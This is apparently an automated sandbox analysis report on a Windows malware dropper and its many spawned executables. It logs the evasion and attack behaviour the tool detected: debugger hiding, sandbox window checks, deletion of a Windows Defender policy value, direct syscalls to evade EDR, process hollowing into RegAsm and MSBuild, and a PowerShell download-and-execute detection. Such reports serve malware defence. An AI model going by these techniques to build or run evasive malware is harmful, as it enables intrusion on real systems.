Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_007E8A64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_007E8A64

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

5_2_0087F280

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00876D80 mov eax, dword ptr fs:[00000030h]		5_2_00876D80
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00843F40 mov eax, dword ptr fs:[00000030h]		5_2_00843F40

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_00899A70 GetLastError,GetModuleHandleA,GetProcAddress,GetProcessHeap,HeapAlloc,HeapFree,HeapAlloc,HeapFree,

5_2_00899A70

Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E451D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		5_2_007E451D
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E8A64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		5_2_007E8A64

Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2MwMOxTR5ZuDHHYSd2btGVy.exe PID: 5236, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject threads in other processes

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

5_2_0087F280

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x140FBD662
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtQueryInformationProcess: Indirect: 0x140D46914	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtQueryInformationProcess: Indirect: 0x1406B2F0E	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x140F911D1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtSetInformationThread: Indirect: 0x1406C113C	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x1418D64A4
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x1418E34DF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtSetInformationThread: Indirect: 0x140D2254A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x141915E9B
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x14191B6FC
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtOpenFile: Direct from: 0x141900641
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtMapViewOfSection: Direct from: 0x14191B153
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x140FADB11
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x1418FA88F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtQuerySystemInformation: Indirect: 0x140CCF682	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtQueryInformationProcess: Indirect: 0x140D467D9	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtQueryInformationProcess: Indirect: 0x1406B3084	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Indirect: 0x140F737CE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	NtQuerySystemInformation: Indirect: 0x140652FB4	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x140F9015F
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x140FCA478
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtClose: Direct from: 0x1418CFCFF
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	NtProtectVirtualMemory: Direct from: 0x140F8F837

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory written: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Memory written: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe base: 400000 value starts with: 4D5A

Sample uses process hollowing technique

Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Section unmapped: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base address: 400000			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Section unmapped: unknown base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory written: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory written: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 401000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory written: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 422000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory written: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 42E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Memory written: C:\Users\user\AppData\Local\Temp\katDE8F.tmp base: 641000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 422000
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: DFE008
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 456000
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 48E000
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 1230008
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CF8008

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Process created: C:\Users\user\AppData\Local\Temp\katDE8F.tmp C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Process created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5324 -ip 5324
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 728
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\Pd2rJIO.CPl",
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process created: unknown unknown

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	5_2_0088FF00
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetLocaleInfoW,	5_2_008031CA
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: EnumSystemLocalesW,	5_2_007FB1B1
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_008032F3
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetLocaleInfoW,	5_2_008033F9
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_008034CF
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetLocaleInfoW,	5_2_007FB734
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	5_2_00802B5A
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetLocaleInfoW,	5_2_00802D5F
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: EnumSystemLocalesW,	5_2_00802EEC
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: EnumSystemLocalesW,	5_2_00802E06
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: EnumSystemLocalesW,	5_2_00802E51
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00802F77

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
